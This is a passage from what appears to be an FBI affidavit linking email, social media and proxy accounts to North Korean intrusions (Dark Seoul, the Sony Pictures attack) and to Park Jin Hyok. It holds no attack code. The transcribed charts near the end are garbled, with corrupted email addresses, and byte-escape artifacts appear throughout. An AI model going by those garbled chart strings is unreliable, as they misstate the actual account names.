South Korea that included victims in the financial, media, and defense sectors, culminating with a destructive malware attack against South Korean financial companies known in the cyber security industry as \xe2\x80\x9cDark Seoul.\xe2\x80\x9d McAfee Labs referred to the attack campaigns as \xe2\x80\x9cOperation Troy\xe2\x80\x9d because there were numerous references to \xe2\x80\x9cTroy\xe2\x80\x9d\xe2\x80\x94such as \xe2\x80\x9cMake Troy\xe2\x80\x9d\xe2\x80\x94directly in the malware used in the attacks. As a result of the Dark Seoul attack, tens of thousands of computers in South Korea were rendered inoperable. 255. I have consulted with an anti-virus company about the contents of this database, and out of the 679 IP addresses listed in it, 46 were known to the anti- virus company through malware it had identified. Those malware samples were compiled in September 2010 and March 2 and 3, 2011 (just before hyonwoo01@gmail.com received the emails with the database on March 16, 2011). Of those malware samples, three of them (their hash values) were referenced in the public report and indicators of compromise published by McAfee about Operation Troy. 256. Given that DarkSeoul was carried out using malware with references to \xe2\x80\x9cTroy,\xe2\x80\x9d and the database containing lists of infrastructure sent to hyonwoo01@gmail.com contained references to \xe2\x80\x9cTroy\xe2\x80\x9d and an apparent list of compromised computers along with IP addresses that were used in connection with the DarkSeoul attack, this evidence suggests that the subject or subjects using hyonwoo01@gmail.com was also involved in carrying out the DarkSeoul attack and maintained the list of infrastructure needed for it. 130 mailto:hyonwoo01@gmail.com mailto:hyonwoo01@gmail.com mailto:hyonwoo01@gmail.com mailto:hyonwoo01@gmail.com 257. Further, there are stylistic similarities between the computer defacement graphics used in both the DarkSeoul and SPE attacks. Below is a side- by-side depiction of the defacements\xe2\x80\x94that is, the images that appeared on computers that were attacked during DarkSeoul (on the left) and SPE computers (on the right). a. Furthermore, examination of the metadata embedded within the Photoshop image(s) composing the SPE defacement, showed that it was created (2014-11-23T10:37:41 +09:00), modified (2014-11-23T11:29+09:00), converted from .bmp to .jpeg (2014-11-23T11:28:20+9:00), and saved (2014-11-23T11:29+09:00) all in a time zone that was UTC +09:00. b. This is the time zone used by North Korea at the time that the Dark Seoul and SPE cyber-attacks were launched. This same time zone was also referenced in the WannaCry ransomware. (See paragraph 233.c.) D. hyonwu@gmail.com 258. Hyonwu@gmail.com also used hyon_u@hotmail.com as its recovery account. It was created on April 29, 2007, using the same Korean name that 131 mailto:hyon_u@hotmail.com mailto:Hyonwu@gmail.com mailto:hyonwu@gmail.com translates to \xe2\x80\x9cKim Hyon Woo.\xe2\x80\x9d In 2007, the user of that account read an article that appeared to be related to North Korean food rationing. E. @hyon_u 259. The first Twitter account to follow @erica_333u, which sent a link to malware hosted on the Compromised Web Server, was @hyon_u. The email account used to register it was tty198410@gmail.com, which, as discussed above and in more detail below, has numerous connections to the Chosun Expo Accounts. Moreover, the name initially associated with the Twitter account @hyon_u was \xe2\x80\x9cKim hyon wu,\xe2\x80\x9d but it was later changed to \xe2\x80\x9cInfosec.\xe2\x80\x9d 260. Twitter account @hyon_u was accessed by a North Korean IP address in March 2016. Furthermore, watsonhenny@gmail.com, the LinkedIn account registered using watsonhenny@gmail.com, and the Twitter account @hyon_u were each accessed by the same two Proxy Service IP addresses between July 30 and August 4, 2015. F. Brambul Collector Accounts 261. One of the Brambul collector accounts was xiake722@gmail.com. It was created on September 28, 2009, from a North Korean IP address, using the name \xe2\x80\x9cKim HyonWoo.\xe2\x80\x9d (A malware sample using this email account was mentioned in paragraph 191.c as sharing strings of text that matched malware used in the watering hole attacks.) 262. Another of the Brambul collector accounts, laohu1985@gmail.com, was created on October 14, 2009, from the same North Korean IP address. The name appearing in subscriber records is \xe2\x80\x9cKim HyonWoo.\xe2\x80\x9d 263. Moreover, a single Proxy Service IP address also was used to access mrwangchung01@gmail.com, a Brambul collector account, on May 18, 2015, just nine minutes before it accessed watsonhenny@gmail.com and less than three hours 132 mailto:watsonhenny@gmail.com mailto:mrwangchung01@gmail.com mailto:laohu1985@gmail.com mailto:xiake722@gmail.com mailto:watsonhenny@gmail.com mailto:watsonhenny@gmail.com mailto:tty198410@gmail.com after it was used to access tty198410@gmail.com. The same device was used to access all of those email accounts that day. XII. PARK JIN HYOK 264. Although the name \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d appeared in many of the operational accounts, the evidence gathered to date shows it is likely an alias that served as another layer to conceal the subjects\xe2\x80\x99 true identities. One of the identified subjects is PARK JIN HYOK, a North Korean programmer who was dispatched to Dalian, China,43 where he worked for Chosun Expo until apparently returning to North Korea shortly before the attack at SPE. As described below, Chosun Expo, which is also known as \xe2\x80\x9cKorea Expo Joint Venture,\xe2\x80\x9d is a North Korean government front company, and specifically one that generated currency for one of the North Korean government\xe2\x80\x99s hacking organizations that is sometimes known as \xe2\x80\x9cLab 110.\xe2\x80\x9d PARK accessed accounts that he used in his true name from China during the time he worked for Chosun Expo, and those accounts\xe2\x80\x94the Chosun Expo Accounts\xe2\x80\x94were accessed from North Korea after it appears he returned. 265. That PARK worked for Chosun Expo is itself significant\xe2\x80\x94but PARK also has numerous connections to the operational accounts used in the name of the persona \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d to carry out the computer intrusions discussed in this Affidavit. Those connections between PARK\xe2\x80\x99s Chosun Expo Accounts and \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d accounts include shared access to an encrypted .rar archive, saving the \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d accounts in Chosun Expo Accounts\xe2\x80\x99 address books, using read receipts between the two sets of accounts, using common names and monikers, and accessing accounts from common IP addresses, among others. These connections show that PARK was one of the persons\xe2\x80\x94along with his co-conspirators\xe2\x80\x94who had access to the operational infrastructure used to carry out the computer intrusions 43 Dalian is a city in China\xe2\x80\x99s Liaoning province, which borders North Korea. 133 mailto:tty198410@gmail.com PARK JIN HYOK bus1ness2008rt@gma1l.com ttykom1018@gmaol.com pkJ0615710@hotmaol.com sungaem1nd@hotma1l.com Chart 1 ""Kim Hyon Woo"" Alias Accounts Selected Operational Attack Infrastructure ,;,,. ii',. Victims described herein. I know, based on my training and experience, that hackers generally do not allow strangers or other persons beyond their circle of trusted associates who are complicit and witting in their hacking to have access to their operational accounts or infrastructure. Those many connections, described in detail below and illustrated in part below in Chart 1, show that PARK was a member of the conspiracies:44 44 Chart 1 contains connections between (1) the Chosun Expo Accounts used by PARK, (2) accounts used by the alias \xe2\x80\x9cKim Hyon Woo,\xe2\x80\x9d and (3) some of the accounts that were used as part of the subjects\xe2\x80\x99 attack infrastructure. Not all of the attack infrastructure accounts discovered throughout the investigation are included, rather only those with certain connections to Chosun Expo Accounts tied to PARK. The connections between the accounts include: the same device being used to access accounts; when one email was used to subscribe another account; common subscriber information or biographical information used; shared access to an encrypted file; \xe2\x80\x9cfollowed\xe2\x80\x9d using Twitter; stored contacts; shared alias or moniker; access using common or overlapping IP address; exchanging a test spear-phishing message or sending nearly identical spear-phishing messages to similar targets; using the same operational infrastructure to host malware; and other connections detailed herein. 134 266. I know, based on my training and experience, that sophisticated and well-resourced hackers will go to great lengths to conceal their locations and identities. They will often, as the subjects of the investigation did here, use various measures to avoid detection and identification, including: using layers of accounts and aliases to distance their identities and \xe2\x80\x9ctrue name\xe2\x80\x9d accounts from accounts or infrastructure that are used for criminal purposes; using different sets of IP addresses to access operational versus true name accounts; and avoiding accessing both operational and true name accounts from the same computer\xe2\x80\x94at least without taking other measures to obscure their identities\xe2\x80\x94so as not to reveal that the same person was using each. 267. Although the subjects were often successful in separating Chosun Expo Accounts and other true name accounts from the \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d alias accounts and other operational accounts that made up their attack infrastructure, the numerous connections between the Chosun Expo Accounts and these other operational accounts that accumulated are significant and strong, and they suggest that the same individual or group of individuals accessed and controlled those accounts. Indeed, not only are these connections between the Chosun Expo Accounts and the \xe2\x80\x9cKim Hyon Woo\xe2\x80\x9d accounts too numerous and significant to be a coincidence, they are meaningful and conclusive for the very reason that well- resourced hackers generally go to great lengths to separate their true identities from their alias identities and operational accounts. 268. Taken in sum, this evidence\xe2\x80\x94enumerated in detail in the Parts that follow\xe2\x80\x94shows that PARK was a member of the conspiracies described in this Affidavit that were responsible for the cyber-attacks and intrusions described above. 135 A. PARK\xe2\x80\x99s Work for Chosun Expo, a DPRK Government Front Company 1. Chosun Expo 269. As set forth below, Chosun Expo is a front for the North Korean government, based on: the account of a witness who had first-hand dealings with Chosun Expo; information provided to the FBI by a foreign investigative agency; the use of an operational email account by a North Korean government representative, which operational account was used maliciously for targeting victims and was also connected to Chosun Expo Accounts; the use of common IP addresses to access Chosun Expo\xe2\x80\x99s website and the Chosun Expo Accounts, as well as certain operational accounts; and the fact that both these Chosun Expo Accounts and operational accounts connected to them were used from North Korea. 270. I have spoken with an expert on Korean matters who is cooperating with the FBI, who informed me that Chosun Expo was originally a joint venture between North Korea and South Korea established to be a Korean e-commerce and lottery website. Eventually, South Korea withdrew from the venture and North Korea maintained the business, which is known to supply various goods and services, including software, freelancing software development, and gambling- related products, some of which were offered through its website. 271. Emails in the Chosun Expo Accounts (discussed below in Part XII.B) show that PARK worked on these types of projects, and that at least some of the individuals who used the services of PARK and others working for Chosun Expo knew that they were North Korean computer programmers connected to the government. Based on information from a witness who had direct dealings with Chosun Expo, some employees of Chosun Expo who were dispatched to China kept only a very small fraction of their salary, remitting the rest to the government of 136 North Korea. While a Chosun Expo manager oversaw the work of those employees, they also had a separate political attach\xc3\xa9 monitoring them as well while in China. 272. I have spoken with experts on North Korean culture who have interviewed North Korean defectors, and have also read numerous articles on the ability of ordinary North Korean citizens to access the internet. My understanding, based on such articles45 and interviews, is that only social \xe2\x80\x9celites,\xe2\x80\x9d government entities, certain university students with special permissions, and foreign visitors in North Korea have open access to the internet. And even those people and entities that might have access to the internet operate under the assumptions that (a) their internet use is heavily-monitored, often times by an individual who is physically present and watching their activities, and (b) any attempts to access information that might undermine or contradict the government regime will be swiftly punished. Most North Korean citizens do not have access to global websites and social media such as Google, Facebook, or Twitter. Accordingly, the use of accounts identified herein as accessed from inside North Korea was likely regime-sanctioned and approved, for these reasons and for others described in the paragraphs that follow. Chart 2 depicts the numerous email and social media accounts discussed in this affidavit that were accessed from North Korean IP addresses, as well as the other accounts accessed by the same devices or through email addresses used in subscriber records. 45 E.g., http://www.bbc.com/news/technology-20445632; http://www.slate.com/articles/technology/future_tense/2016/11/how_the_internet_wo rks_in_north_korea.html 137 http://www.slate.com/articles/technology/future_tense/2016/11/how_the_internet_wo http://www.bbc.com/news/technology-20445632 PARK JIN HYOK business20081t@gmaI1 com ttyk1m1018@gma11 com pkj0615710@hotma,I com sungaemind@hotmaII com ""Kim Hyon Woo"" Alias Accounts hyon_u@hotma,I co 198410@gma,I com hyonwu@gma,I com nwoo01@gma,I com mrk1m1m123@gma,1 com Compromised Web Server Operational Attack Infrastructure /,onnie jemison@gmail.com mogbe123456@gma~_com \xe2\x80\xa2 ""John Moga: e .. Facebook \\ yardgen@gmail.com \xe2\x80\xa2 \xe2\x80\xa2 jasmuttty@hanmail.net ,r \xc2\xb7\\,. hwa5403 DONS account ~Andoson DaVld"" Facebook t hwa5403@daum.net ~-~\xe2\x80\xa2 goffman_davtd2@aol.com watsonhenny@gmail.com -Watson Henny"" Facebook 111, \\ rsaflam8808@gmall.com lt.lONl